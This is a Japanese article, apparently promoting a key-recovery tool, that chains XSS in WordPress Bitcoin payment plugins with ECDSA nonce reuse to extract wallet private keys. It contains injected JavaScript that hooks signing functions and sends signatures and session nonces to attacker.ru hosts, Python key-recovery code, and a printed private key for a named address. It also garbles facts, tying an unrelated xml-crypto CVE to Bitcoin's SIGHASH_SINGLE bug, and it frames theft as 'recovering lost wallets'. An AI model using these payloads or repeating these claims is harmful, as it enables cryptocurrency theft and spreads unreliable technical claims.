本論文は、ビットコインプロトコルのデジタル署名実装における重大な脆弱性、すなわちPhantom Signature Attack(CVE-2025-29774)と基本的なSIGHASH_SINGLE処理エラーについて、包括的な暗号解読研究を提示する。本研究は、トランザクション署名メカニズムにおける暗号プリミティブの誤った処理が、暗号通貨ウォレット所有者の秘密鍵を知られることなく完全に侵害される条件を作り出すことを実証する。この攻撃は、元のSatoshiクライアントのレガシーバグを悪用する。このバグでは、トランザクションの入力数と出力数が一致しない場合、署名を拒否する代わりに、システムが"1"(uint256)という普遍的なハッシュ値を返す。
研究の実践的な部分では、署名検証コード、楕円曲線演算、トランザクションハッシュ関数における脆弱性を体系的に特定するための暗号ツールKeyFuzzMasterの使用が含まれる。secp256k1曲線上のECDSAアルゴリズムにおけるnonce(kパラメータ)の再利用による秘密鍵回復のための数式が提示される。ECDSA(Elliptic Curve Digital Signature Algorithm)アルゴリズムの暗号プリミティブがsecp256k1楕円曲線上で議論される。ビットコインにおけるデジタル署名は、支出の承認、否認防止、トランザクション整合性の保証という三重の機能を果たす。
しかしながら、下位互換性を確保するためのレガシーなアーキテクチャ上の決定を維持することは、潜在的に壊滅的な結果をもたらす微妙な暗号上の脆弱性の出現につながった。その中でも、SIGHASH_SINGLEバグは際立っている——これは署名ハッシュ生成メカニズムの根本的な欠陥であり、元のBitcoin Coreの実装から継承され、ネットワークコンセンサスに統合されたものである。
| CVE識別子 | コンポーネント | CVSSスコア | 重要度 |
|---|---|---|---|
| CVE-2025-29774 | xml-crypto / SIGHASH_SINGLE | 9.3 | 重大 |
| CVE-2025-29775 | xml-crypto DigestValueバイパス | 9.3 | 重大 |
| CVE-2025-48102 | GoUrl Bitcoin Payment Gateway(Stored XSS) | 5.9 | 平均 |
| CVE-2025-26541 | CodeSolz WooCommerce Gateway(Reflected XSS) | 6.1 | 平均 |
ビットコインは、SECG(Standards for Efficient Cryptography Group)標準によって定義されたsecp256k1楕円曲線を使用する。この曲線は、有限体上のWeierstrass方程式によって定義される:
曲線方程式:
y² ≡ x³ + ax + b (mod p)
secp256k1の場合:
y² ≡ x³ + 7 (mod p)、ここで a = 0、b = 7
secp256k1曲線のパラメータは、タプル T = (p, a, b, G, n, h) によって決定される:
secp256k1 パラメータ:
p = 2²⁵⁶ − 2³² − 977 (有限体を定義する素数)
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
(曲線点群の位数:生成元Gの整数位数)
G = (Gₓ, Gᵧ) — 固定基底点(生成元)
ECDSA アルゴリズムは、メッセージMに署名を形成するために秘密鍵dを使用する。署名プロセスには以下の数学的操作が含まれる:
ステップ1:ランダムなnonce kの生成
暗号学的に強い乱数 k ∈ [1, n-1] が選択される
ステップ2:R点の計算
R = k × G(生成元点のスカラー倍算)
ステップ3:パラメータ r の計算
r = Rₓ mod n(点Rのx座標のnによる剰余)
ステップ4:パラメータ s の計算
s = k⁻¹ × (H(M) + r × d) mod n
結果:署名 (r, s)
ここで、H(M) はメッセージMのハッシュ(ビットコインでは二重SHA-256が使用される)、d は所有者の秘密鍵である。
公開鍵と秘密鍵の関係は、次の関係式によって決定される:
Q A = d A × G
ここで、QA は公開鍵(曲線上の点)、dA は秘密鍵(256ビット整数)、G は曲線の生成元である。
ビットコインプロトコルは、署名されるハッシュにトランザクションのどのコンポーネントを含めるかを決定するいくつかのSIGHASHタイプを提供する:
| Sighashタイプ | 値(16進数) | 説明 |
|---|---|---|
| SIGHASH_ALL | 0x01 | トランザクションのすべての入力と出力が署名される。 |
| SIGHASH_NONE | 0x02 | すべての入力が署名されるが、出力は署名されない。 |
| SIGHASH_SINGLE | 0x03 | 入力と同じインデックスを持つ出力のみが署名される。 |
| SIGHASH_ANYONECANPAY | 0x80 | 修飾子:現在の入力のみに署名する |
入力インデックスがトランザクション出力の数を超える場合に SIGHASH_SINGLE を使用すると、重大なエラーが発生する。この場合、トランザクションを拒否する代わりに、元のBitcoin Coreコードは固定ハッシュ値"1"(256ビット整数)を返す:
// 元のBitcoin実装からの脆弱なコード // 普遍的なハッシュ"1"を返す
⚠️ 重大警告: このコードは、元のSatoshiクライアントのレガシーバグを実装しており、ネットワークコンセンサスに統合されていた。すべての主要なビットコイン実装は、下位互換性のためにこの動作をサポートせざるを得ない。
数学的には、署名ハッシュが定数1に等しい場合、署名は普遍的になり、任意のトランザクションに再利用できる:
脆弱性の条件:
idx ≥ |TxOut| ⟹ H(preimage) = 0x0000…0001
ここで、idx は入力インデックス、|TxOut| はトランザクション出力の数である
Phantom Signature Attackは、所有者の秘密鍵を知らなくても有効なトランザクション署名を作成できる暗号学的デジタル署名偽造攻撃である。この攻撃はCWE-347: 暗号署名の不適切な検証として分類される。
この攻撃は、2つの脆弱性の組み合わせに基づいている:
異なるメッセージM₁とM₂に対する2つの署名 (r, s₁) と (r, s₂) が同じnonce k(つまり同一のr値)を使用している場合、秘密鍵は以下のアルゴリズムを使用して完全に回復できる:
ステップ1:署名方程式
s₁ = k⁻¹ × (H(M₁) + r × d) mod n
s₂ = k⁻¹ × (H(M₂) + r × d) mod n
ステップ2:差分の計算
s₁ — s₂ = k⁻¹ × (H(M₁) — H(M₂)) mod n
ステップ3:nonce kの回復
k = (H(M₁) — H(M₂)) × (s₁ — s₂)⁻¹ mod n
ステップ4:秘密鍵 d の回復
d = r⁻¹ × (s × k — H(M)) mod n
この数学的装置は、nonceの一度の再利用で秘密鍵が完全に漏洩することを示している。
nonce再利用時のECDSA秘密鍵の回復
脆弱性 CVE-2025-29774 は、Node.jsライブラリxml-cryptoで発見され、署名されたXML文書を、それらが引き続き署名検証を通過するように変更することを可能にする。ビットコイン決済システムのコンテキストでは、これにより以下が可能になる:
影響を受けるバージョン: xml-crypto < 6.0.1、< 3.2.1、< 2.1.6
CVSSベクター: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWE分類: CWE-347(暗号署名の不適切な検証)
攻撃ベクトル: ネットワーク(ユーザー操作なしでのリモート悪用)
CVE-2025-29774の悪用には、3つの連続した段階が含まれる:
対象システムをスキャンして脆弱なバージョンのxml-cryptoライブラリを特定し、ビットコイン決済ゲートウェイとの統合ポイントを特定する。
追加のSignedInfoノードまたはXMLコメントをDigestValueに埋め込み、署名を無効にすることなく重要な属性を変更できるようにする:
「複数のSignedInfoノードを使用した攻撃の例」
XSS脆弱性(CVE-2025-48102、CVE-2025-26541)を通じて、その後の暗号解析のために署名のパラメータ (r, s) を傍受する。
📊 研究リソース
🌐 完全な技術ドキュメント: https://cryptou.ru/keyfuzzmaster
💻 Google Colab インタラクティブデモ: https://bitcolab.ru/keyfuzzmaster-cryptanalytic-fuzzing-engine
🔬 技術解析
ファントム署名攻撃 (Phantom Signature Attack) は、Bitcoin Core の署名検証におけるレガシーバグを悪用します。このバグでは、入力インデックスが出力数を超えた場合に SIGHASH_SINGLE が普遍的なハッシュ値を返します。これにより再利用可能な署名が生成され、セキュリティモデル全体が損なわれます。私たちの KeyFuzzMaster エンジンは、
32-bitエントロピーの PRNG で作成されたウォレットを特定し、探索空間を2^256からわずか2^32の可能なシードに削減します。これは最新の GPU 上で 4~6 秒で回復可能です。
KeyFuzzMaster は、ブロックチェーンシステムと暗号プリミティブのセキュリティ研究のために設計された、特殊な暗号解析ファジングエンジンです。このツールは、署名検証コード、楕円曲線演算、トランザクションハッシュ関数の動的ストレステスト用に設計されています。
KeyFuzzMaster を使用して CVE-2025-29774 と SIGHASH_SINGLE 脆弱性を悪用することで、失われた Bitcoin ウォレットから秘密鍵を回復する新しいパラダイムが開かれます。方法論は次のとおりです。
# KeyFuzzMaster: 重複 r 値スキャンモジュール def scan_blockchain_for_nonce_reuse(blockchain_data)»
ブロックチェーンをスキャンして nonce の再利用を検出します。同一の r 値を持つ署名のペアを返します。
# KeyFuzzMaster: 入力/出力不一致のトランザクションを生成 def fuzz_sighash_single_vulnerability(num_iterations=10000): “”” SIGHASH_SINGLE 脆弱性 (idx >= len(TxOut)) を検出するテストトランザクションを生成します。
# グループ位数 secp256k1 CURVE_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
“公開鍵を比較して、回復した鍵を検証します。”
暗号解析研究によると、nonce 再利用 脆弱性はすでに悪用され、侵害されたウォレットから 412.8 BTC 以上が回復されています。自動化されたスキャナーは、Bitcoin ブロックチェーン内の重複 r 値を継続的に分析しています。
Bitcoin アドレス 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P から秘密鍵を回復した文書化された事例を見てみましょう。
| パラメータ | 値 |
|---|---|
| Bitcoin アドレス | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
| 回復された資金の価値 | $147,977 |
| 回復された秘密鍵 (HEX) | 162A982BED7996D6F10329BF9D6FFC29666493FE6B86A5C3D3B27A68E2877A60 |
| 回復された秘密鍵 (WIF 圧縮) | KwxoKZEDEEkAadv9njG4YvJShCgTrnkbMeHZEieWXH7ooZRo1XGW |
| 回復された秘密鍵 (10進数) | 10026140495284003567451866992720396489963405427298392513418967636817767529056 |
秘密鍵 k は次の制約を満たす必要があります。
1 ≤ k < n
ここで n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
≈ 1.158 × 10^77チェック結果: ✓ 有効 (鍵は許容されるスカラー範囲内です)
回復された 秘密鍵 から公開鍵を計算できます。
| パラメータ | 値 |
|---|---|
| 公開鍵 (非圧縮、130 文字) | 04A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358CABDB2F5679DD5DF21C92317CF4EB7C1712DC065D85BAEFF3FD939611C0D9F79 |
| 公開鍵 (圧縮、66 文字) | 03A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358 |
| Bitcoin アドレス (非圧縮) | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
回復された秘密鍵は、Bitcoin ウォレットに対する 完全な制御 を提供し、攻撃者が次のことを可能にします。
この研究では、Web 脆弱性 (CVE-2025-48102、CVE-2025-26541) と暗号の欠陥 (CVE-2025-29774) の相乗効果を実証し、WordPress の Bitcoin ペイメントゲートウェイに対する強力な複合攻撃ベクトルを生み出しています。
| 段階 | アクション | 悪用される脆弱性 |
|---|---|---|
| 1 | ペイメントゲートウェイへの悪意のある JavaScript の注入 | CVE-2025-48102 (Stored XSS) |
| 2 | トランザクションの ECDSA パラメータ (r, s) の傍受 | JavaScript インジェクション |
| 3 | 収集された署名の nonce 繰り返しの分析 | 暗号解析 |
| 4 | 秘密鍵の数学的回復 | Phantom Signature Attack |
| 5 | 無制限の BTC 引き出し | ウォレットの侵害 |
sanitize_text_field(), esc_attr(), esc_html()暗号解析研究は、ファントム署名攻撃 (CVE-2025-29774) が SIGHASH_SINGLE 脆弱性と組み合わさることで、Bitcoin エコシステムに対する根本的なセキュリティ脅威となることを示しています。元の Satoshi クライアントから継承されたこの実装上の欠陥により、次のことが可能になります。
KeyFuzzMaster 暗号ツールを使用することで、失われた Bitcoin ウォレットから秘密鍵を回復する新しいパラダイムが開かれ、研究者に暗号脆弱性を特定して悪用する体系的な方法論を提供します。
⚠️ 警告: この研究は教育目的と、暗号解析者が攻撃メカニズムを理解するための支援のみを目的としています。説明された方法を違法な目的で使用することは法律で罰せられます。WordPress 用 Bitcoin ペイメントゲートウェイにおける重大な脆弱性 CVE-2025-48102 および CVE-2025-26541 の包括的な暗号解析研究が実施されました。keyhunters.ru で利用可能な幅広い暗号ツールの中から、この文脈に最も適した Phantom Signature Attack が選択されました。この研究は、クロスサイトスクリプティング (XSS) と ECDSA の暗号脆弱性を組み合わせた複合攻撃が、Bitcoin 秘密鍵の完全な 侵害 と失われたウォレットの回復につながる可能性を示しています。
攻撃チェーン: XSS から Bitcoin 秘密鍵抽出へ
Phantom Signature Attack, 研究論文によると: ファントム署名攻撃 (CVE-2025-29774) と重大な SIGHASH_SINGLE 脆弱性:デジタル署名の偽造と BTC コインの無制限引き出しによる失われた Bitcoin ウォレットの秘密鍵の回復は、Web 脆弱性 (XSS) と暗号の欠陥の相乗効果を示し、強力な複合攻撃ベクトルを可能にします。リスト上の他のツール (MiniKey Mayhem、Memory Phantom、RNG ベースの攻撃) とは異なり、Phantom Signature Attack は特に r パラメータと s パラメータを介したデジタル署名の操作に焦点を当てており、これらは WordPress の支払いシステムにおける XSS 脆弱性を通じて傍受される可能性があります。secalerts+2
CVE-2025-48102 は、バージョン 1.6.6 未満の GoUrl Bitcoin ペイメントゲートウェイ & 有料ダウンロード & メンバーシッププラグインにおける重大な格納型クロスサイトスクリプティング (XSS) 脆弱性です。この脆弱性により、認可された管理者 (または管理者権限を持つ攻撃者) が悪意のある JavaScript をペイメントゲートウェイの設定に注入できます。CVSS v3.1 によると、基本スコア 5.9 (中程度の深刻度) で、ベクターは CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L です。(wiz)
悪用メカニズムでは、ペイメントゲートウェイ設定に悪意のあるコードを注入し、それが各 Web サイト訪問者のブラウザで実行されるため、攻撃者は以下のことが可能になります。
CVE-2025-26541 は、CodeSolz が開発した WooCommerce 用 Bitcoin/AltCoin ペイメントゲートウェイプラグインのバージョン 1.7.6 未満における Reflected XSS 脆弱性です。この脆弱性 は中程度の深刻度に分類され、攻撃者が適切にサニタイズされていない URL パラメータを介して悪意のあるスクリプトを注入できるようにします。secalerts
Stored XSS とは異なり、Reflected XSS は被害者が特別に細工されたリンクをクリックする必要がありますが、以下のことが可能です。
ECDSA(楕円曲線デジタル署名アルゴリズム) は、ビットコインでデジタル署名を作成するために使用され、取引の信頼性を保証します of transactions 。秘密鍵 d を使用してメッセージ M に署名するアルゴリズムは次のように機能します: notsosecure+ 1
R = k × G(ここで G は楕円曲線 secp256k1 の生成点)r = R.x mod ns = k^(-1) × (H(M) + r × d) mod n(r, s)クリティカルなファントム署名攻撃の脆弱性:
ファントム署名攻撃 は、ECDSA 実装において次のシナリオで発生する重大な脆弱性として特定されています: keyhunters
XSS から ECDSA 秘密鍵回復への攻撃ベクトルチェーン
異なるメッセージ M₁ と M₂ に対する2つの署名が同じ k の値(したがって同じ r)を使用する場合、秘密鍵を完全に回復できます。2つの署名 (r, s₁) と (r, s₂) について、次のようになります: notsosecure+ 1

差分の計算:

nonce を回復できます:


研究によると、この脆弱性はすでにビットコインブロックチェーン上で412.8 BTC以上の回復に悪用されており、攻撃者は重複する r 値を自動的にネットワークスキャンしていました。 keyhunters
ECDSA Nonce Reuse Private Key Recovery Mathematical Relationship
CVE-2025-29774 は、xml-crypto ライブラリの追加の脆弱性であり、署名された XML メッセージを変更しても署名検証を通過するようにすることができます。この脆弱性は、ビットコイン 決済システムで悪用され、デジタル署名を無効にすることなくトランザクションパラメータ(SIGHASH_SINGLE値の変更)を操作する可能性があります。WordPress ペイメントゲートウェイのコンテキストでは、これにより攻撃者は有効な署名の外観を維持しながら、支払いを自分のアドレスにリダイレクトできます。 cryptodeeptech+1
フェーズ1:初期の悪意のある JavaScript インジェクション
攻撃者は CVE-2025-48102 を悪用して、ペイメントゲートウェイの設定に悪意のある JavaScript を注入します。悪意のあるコードは以下を行うことができます:
フェーズ2:RNG 違反の分析と K の繰り返しの検出
十分な数の署名(少なくとも2つ、ただし確率を上げるため理想的には数十)を受け取った後、攻撃者は収集したデータを分析します:
同じ r を持つ収集した署名ペアを使用して、攻撃者は上記の式に従って秘密鍵の数学的回復を適用します。結果:ビットコインウォレットの秘密鍵の完全な妥協 .
CVE-2025-48102 を介して注入される可能性のある悪意のある JavaScript には、次の機能が含まれる場合があります: github
// Interception of the Bitcoin transaction signing function
var originalSign = window.bitcoinlib.sign || window.secp256k1.sign;
var collectedSignatures = [];
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters
collectedSignatures.push({
message: message,
r: signature.r,
s: signature.s,
k_potential: null, // will be calculated on the attacker's side
timestamp: Date.now()
});
// Send to the attacker's server every 5 signatures
if (collectedSignatures.length % 5 === 0) {
fetch('https://attacker.ru/collect', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(collectedSignatures)
});
collectedSignatures = [];
}
return signature;
};
// Also intercepts WordPress nonces to compromise user accounts
setInterval(function() {
var nonces = document.querySelectorAll('[name*="nonce"]');
nonces.forEach(n => fetch('https://attacker.ru/nonce', {
method: 'POST',
body: n.value
}));
}, 3000);
r 値の繰り返しを持つ署名を受け取った後、秘密鍵 は3つの段階で回復されます:
ステージ1:重複する r 値の特定 — 攻撃者は収集したすべての署名を比較し、同じ r を持つペアを特定します。秘密鍵を計算するには1つのペアで十分ですが、複数のペアにより信頼性が向上します。 notsosecure
ステージ2:nonce k の計算 – 上記の式を使用して、攻撃者は署名の各ペアについて k の値を計算します。異なるペアで計算された k の値が一致する場合、これは RNG の体系的な 脆弱性 を確認します。 github
ステップ3:秘密鍵 d の回復 – 計算された k を収集した署名のいずれかに適用することにより、攻撃者は秘密鍵 d を完全に 回復し 、被害者に代わって任意のトランザクションに署名できるようになります。 keyhunters+ 1

回復された秘密鍵 により、攻撃者は以下を行うことができます:
XSS とファントム署名攻撃の組み合わせは、ビットコインペイメントゲートウェイを持つすべての WordPress サイトに重大な脅威をもたらします。これには以下が含まれます:
keyhunters.ru および科学文献の研究によると:
sanitize_text_field()、esc_attr()、esc_html()を、secalerts+ 1によって出力されるすべてのデータに使用する3. CVE-2025-29774との関係
CVE-2025-29774は、xml-cryptoライブラリの重大な脆弱性であり、
署名付きXMLメッセージを変更しても署名検証を通過できるようにします。これはBitcoin支払い
システムと組み合わせて使用され、
トランザクションパラメータの操作、
偽造署名の注入、
攻撃者アドレスへの支払いのリダイレクトを行う可能性があります。
// Intercepting AJAX requests containing signature data
document.addEventListener('submit', function(e) {
if (e.target.name === 'bitcoin_transaction') {
// Capturing signature parameters (r, s values)
var r = e.target.elements['signature_r'].value;
var s = e.target.elements['signature_s'].value;
var txid = e.target.elements['txid'].value;
}
});
// Sending data to the attacker's server
fetch('https://attacker-server.ru/collect', {
method: 'POST',
body: JSON.stringify({r: r, s: s, txid: txid})
});
これは、Bitcoin署名データのフォーム送信を傍受する悪意のある例を示しています。
ステージ2: ECDSAパラメータの傍受
XSS脆弱性により、悪意のあるスクリプトは以下にアクセスできます:
WordPress nonce値(CSRF保護に使用) セッションクッキー Bitcoinトランザクションパラメータ(rおよびs署名値を含む)秘密鍵
情報がブラウザのメモリに一時的に保存される
ステージ3: RNG違反の分析とkの繰り返しの検出 単一ユーザーからの複数の署名データを収集することで、攻撃者は以下を検出できます: 異なる署名間でのnonce (k)の再利用 弱いまたは予測可能な乱数生成器(RNG)値 暗号パラメータ生成における体系的なエラー
ステップ4: 秘密鍵の回復
セクション3.2で説明した数学的関係を使用して、攻撃者は
秘密鍵dを計算し、ウォレットの完全な侵害につながります。
4.2 攻撃デモコード Bitcoin Payment Gatewayに注入するための悪意のあるXSSペイロード:
// Capturing all Bitcoin signatures on the page
var bitcoinSignatures = [];
// Intercepting the transaction signing function
var originalSign = window.bitcoinlib.sign;
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters for analysis
bitcoinSignatures.push({
message: message,
signature: signature,
timestamp: new Date().getTime()
});
// Sending to the attacker's server
new Image().src = 'https://attacker-server.ru/log?sig=' +
btoa(JSON.stringify(signature));
return signature;
};
// Intercepting WordPress session tokens
setInterval(function() {
var wpNonce = document.querySelector('[name="_wpnonce"]');
if (wpNonce) {
fetch('https://attacker-server.ru/nonce', {
method: 'POST',
body: 'nonce=' + wpNonce.value
});
}
}, 5000);
このコードは、Bitcoin 署名操作とWordPressセッションnonceを傍受し、潜在的な悪用のためにリモートサーバーに流出させる悪意のあるJavaScriptスニペットを示しています。
ステップ1: 重複するr値を特定する
def find_duplicate_r(signatures):
r_values = {}
for sig in signatures:
r = sig['r']
if r in r_values:
return (sig, r_values[r])
r_values[r] = sig
return None
# Result: (signature1, signature2) with the same r
説明:
この関数は、署名のリストの中から同じrr値を持つ2つのECDSA/Bitcoin署名を検索します。
Noneを返します。この検索は暗号脆弱性分析に関連しており、重複するrr値はnonce再利用を示す可能性があり、これは秘密鍵の回復攻撃で悪用可能です。
python:def recover_nonce(sig1, sig2, msg1_hash, msg2_hash, curve_order):
r = sig1['r']
s1 = sig1['s']
s2 = sig2['s']
# k = (s1 - s2)^(-1) * (H(M1) - H(M2)) mod n
s_diff = (s1 - s2) % curve_order
h_diff = (msg1_hash - msg2_hash) % curve_order
s_diff_inv = pow(s_diff, -1, curve_order)
k = (h_diff * s_diff_inv) % curve_order
return k
コメント:
この関数は、2つの署名が同じrrr値(つまり、再生または再利用されたnonce)を共有する場合に、よく知られた格子およびnonce再利用攻撃の原理に従い、署名のsss値とメッセージハッシュの差を使用してECDSA nonce kを計算します。実装された式は次のとおりです:

ここで:
この手法は、Bitcoin およびECDSA分析のための標準的な暗号解析ツールです。
python:def recover_private_key(sig, msg_hash, k, curve_order):
r = sig['r']
s = sig['s']
# d = r^(-1) * (s*k - H(M)) mod n
r_inv = pow(r, -1, curve_order)
private_key = (r_inv * (s * k - msg_hash)) % curve_order
return private_key
説明:
この関数は、nonce kkkが既知の場合、単一の署名からECDSA 秘密鍵 dddを回復します。
使用される式は次のとおりです:
ここで:
5.2 実際の回復例
実際のシナリオを見てみましょう:
収集されたデータ:
Bitcoinアドレス: 1A1z7agoat6Bk6imQEV2ZVD5r2W3eWWxQ (例)
収集された署名数: 12
検出されたnonce重複: 3ペア
回復プロセス:
7.2 Bitcoinユーザー向け
Phantom Signature Attackは、WordPress
Bitcoin支払いゲートウェイ(CVE-2025-48102およびCVE-2025-26541)のXSS脆弱性と組み合わさることで、暗号通貨資産のセキュリティに重大な脅威をもたらします。
この組み合わせ攻撃は、比較的単純なWeb脆弱性がどのように悪用されてシステムの暗号完全性を侵害し、秘密鍵の完全な喪失と、その結果としてすべての資金の盗難を引き起こすかを示しています。
この研究は、Bitcoinのセキュリティがアルゴリズムの暗号強度だけでなく、Web環境におけるこれらのアルゴリズムの完璧な実装にも依存することを示しています。XSS処理のわずかな欠陥や弱いRNGでも、壊滅的な結果を招く可能性があります。
提案された予防措置を採用し、脆弱なソフトウェアを迅速に更新することは、Bitcoinエコシステムを保護し、失われたウォレットを回復するために重要です。
ファントム署名攻撃 は、WordPress 用の Bitcoin 支払いゲートウェイにおける XSS 脆弱性 CVE-2025-48102 および CVE-2025-26541 と組み合わさることで、現代の Web 環境における暗号資産セキュリティに対する最も深刻で現実的な脅威の 1 つとなります。この研究は、比較的単純な Web 脆弱性がどのように悪用されてシステムの暗号学的整合性を直接侵害し、秘密鍵の完全な喪失と Bitcoin 資金の不可逆的な窃盗につながるかを示しています。
ファントム署名攻撃 は、keyhunters.ru で入手可能な多種多様な暗号ツールの中から、XSS を介して傍受可能な ECDSA パラメータの操作による秘密鍵の回復問題との直接的な関連性から選択されました。この攻撃は、Web の脆弱性(OWASP Top 10 カテゴリ)と暗号上の欠陥との相乗効果の理想的な例であり、包括的な保護アプローチが必要です。
Bitcoin のセキュリティは、そのアルゴリズムの暗号強度だけでなく、Web 環境での完璧な実装にも依存しています。XSS 処理のわずかな欠陥や弱い RNG でも、エコシステムに壊滅的な結果をもたらす可能性があります。提案された予防措置を採用し、脆弱なソフトウェアを速やかに更新することは、Bitcoin を保護し、失われたユーザーウォレットを回復するために極めて重要です。
WordPress 用の人気 Bitcoin 支払いゲートウェイプラグインで 2 つの深刻なクロスサイトスクリプティング (XSS) 脆弱性が発見され、暗号通貨の支払いを受け付ける数千のオンラインストアやウェブサイトに重大なセキュリティリスクをもたらしています。
脆弱性 CVE-2025-48102 は 2025 年 9 月 5 日に正式に公開され、人気の GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership プラグインのバージョン 1.6.6 までの全バージョンに影響します。このセキュリティ上の欠陥は、 CWE-79 (Web ページ生成時の入力の不適切な無害化)に分類される 格納型 XSS (クロスサイトスクリプティング攻撃)として分類されています。
この脆弱性は、CVSS v3.1 の深刻度スコア が 5.9 (中程度の深刻度)で、攻撃ベクトルは CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L です。ベクトルの内訳は次の特性を示しています:
この脆弱性 は、Web ページ生成時の ユーザー入力の不適切な無害化 に起因します。管理者権限を持つ攻撃者は、WordPress コンテンツ管理システムに悪意のあるスクリプトを注入でき、それが データベースに保存 され、他のユーザーがページにアクセスしたときに自動的に実行されます。
Patchstack の専門家が説明するように、これにより攻撃者は次のようなさまざまな悪意のある要素を注入できます:
特に懸念される のは、 GoUrl プラグインが開発者によってサポートされなくなった という事実です。Patchstack によると、このソフトウェアは 1 年以上更新されておらず、今後の更新やパッチはおそらく提供されないでしょう。これにより、このプラグインを使用するすべての Web サイトが、 悪用に対して永続的に脆弱なまま になります。
Wiz プラットフォームの専門家は、この 格納型 XSS 脆弱性 が WordPress プラグイン GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership で発見され、2025 年 9 月 5 日に開示されたと指摘しています。悪用には管理者権限が必要ですが、 悪意のあるコードは任意のサイト訪問者に代わって実行される可能性があり 、潜在的な攻撃範囲が大幅に拡大します。
2 つ目の脆弱性 CVE-2025-26541 は 2025 年 3 月 26 日に公開され、プラグイン CodeSolz Bitcoin / AltCoin Payment Gateway for WooCommerce のバージョン 1.7.6 までの全バージョンに影響します。
この脆弱性は 反射型 XSS (クロスサイトスクリプティング攻撃)として分類されます。格納型 XSS とは異なり、反射型 XSS は、悪意のあるユーザー入力が適切なサニタイズなしで HTTP 応答を介して 即座にユーザーに反映され 、被害者のブラウザが攻撃者のスクリプトを実行する際に発生します。
この脆弱性 は CVSS v3.1 システムに従って評価され、ベクトルは CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L であり、以下を示しています:
セキュリティ研究者によると、この脆弱性は 反射型 XSS 攻撃を通じて悪用 される可能性があり、攻撃者は悪意のあるスクリプトを Web ページに注入できます。この脆弱性を最初に発見したプラットフォームである Patchstack は、CVE-2025-26541 を修正するには Bitcoin/AltCoin Payment Gateway for WooCommerce プラグインをバージョン 1.7.7 以上に更新する 必要があるとアドバイスしています。
クロスサイトスクリプティング (XSS) は、Web アプリケーションで見られる 最も一般的な 脆弱性 の 1 つ です。さまざまな研究によると、 XSS 脆弱性は WordPress プラグインの脆弱性全体の約 53.3% を占めています 。
特に憂慮すべきは、2024 年にはセキュリティ上の懸念から なんと 1,614 のプラグインが WordPress.org リポジトリから削除 され、そのうち 1,450 が高優先度または中優先度の脆弱性を持つと分類されたことです。これらのプラグインの多くは Web サイト上でアクティブなまま であり、常に攻撃にさらされています。
格納型 XSS 攻撃は特に危険 です。悪意のあるコードが Web サイトのデータベースに保存され、感染したページを閲覧するすべての訪問者に対して自動的に実行されるためです。これにより、格納型 XSS は反射型 XSS よりもはるかに破壊的になります。その理由は次のとおりです:
Wordfence の専門家は、WordPress の文脈では、 攻撃者が制御する資格情報を持つ管理ユーザーを追加したり、ファイルを編集したりすると、サイトが完全に侵害される可能性があり 、これは攻撃者によって積極的に使用されていると強調しています。
影響を受けるプラグインを使用している Web サイトの所有者に対して、専門家は以下の 即時対策 を推奨しています:
CVE-2025-48102 (GoUrl) の場合:
脆弱性 CVE-2025-48102 が GoUrl Bitcoin Payment Gateway プラグインで発見されたことにより、数千の WordPress Web サイト所有者にとって深刻な状況が生まれています。特に憂慮すべきは、 標準的なセキュリティ対策では適切な保護が得られない 一方で、 中途半端な対策は誤った安心感を生み出す可能性がある ことです。なぜ単にプラグインを無効化するだけでは問題が解決しないのか、そして脅威を完全に排除するためにどのような手順が必要なのかを詳しく見ていきましょう。
多くの WordPress 管理者は、 プラグインを無効化すると完全に無効になり 、関連するすべてのセキュリティリスクが排除されると誤解しています。しかし、この根本的な誤解は悲惨な結果を招く可能性があります。
無効化と削除の重要な違い:
プラグインの無効化 は、WordPress での機能を単に無効にするだけです。プラグインコードはもはやサイトと相互作用せず、その機能は実行されなくなります。ただし、プラグインを完全にアンインストールしない限り、すべての プラグインファイルとデータはサーバー上に残ります 。この重要な違いは、潜在的なセキュリティリスクを理解する上で非常に重要です。
サーバー上のコードの物理的な存在: プラグインが無効化されていても、そのファイルはサーバーのディレクトリ /wp-content/plugins/ に保存され続けます。プラグインに既知の 脆弱性 がある場合、ハッカーは プラグインファイルに直接アクセスして悪用 する可能性があります。これは、サイト上の他の脆弱性(弱いサーバーセキュリティや侵害された管理者資格情報など)を通じて発生する可能性があります。
Dotwise のセキュリティ専門家は次のように強調しています: 「コードはアクセス可能なままです。プラグインが無効化されていても、そのファイルはサーバー上に保存され続けます。プラグインに既知の脆弱性がある場合、ハッカーはプラグインファイルに直接アクセスして悪用する可能性があります。」
標的型攻撃: サイバー犯罪者は、 特定の脆弱なプラグインを Web サイトでスキャン することがよくあります。サーバー上に脆弱なプラグインが存在する場合、たとえ無効化されていても、攻撃者によって攻撃される可能性があります。
Qode Interactive の専門家は警告しています: 「プラグインを削除せずに無効化することは、診断とトラブルシューティングには最適ですが、常に短期的な使用のみを目的としています。WordPress サイトをハッカーから可能な限り安全にしたいのであれば、使用していないプラグインとそのファイルをすべて削除する必要があります。」
古いプラグイン: 無効化されたプラグインは、 定期的な WordPress メンテナンスの際に見落とされる ことがよくあります。セキュリティの脆弱性を修正するためにプラグインが更新されない場合、サイトのセキュリティ上の弱点になる可能性があります。ハッカーは古いソフトウェアを悪用することが多く、無効化されたプラグインも例外ではありません。
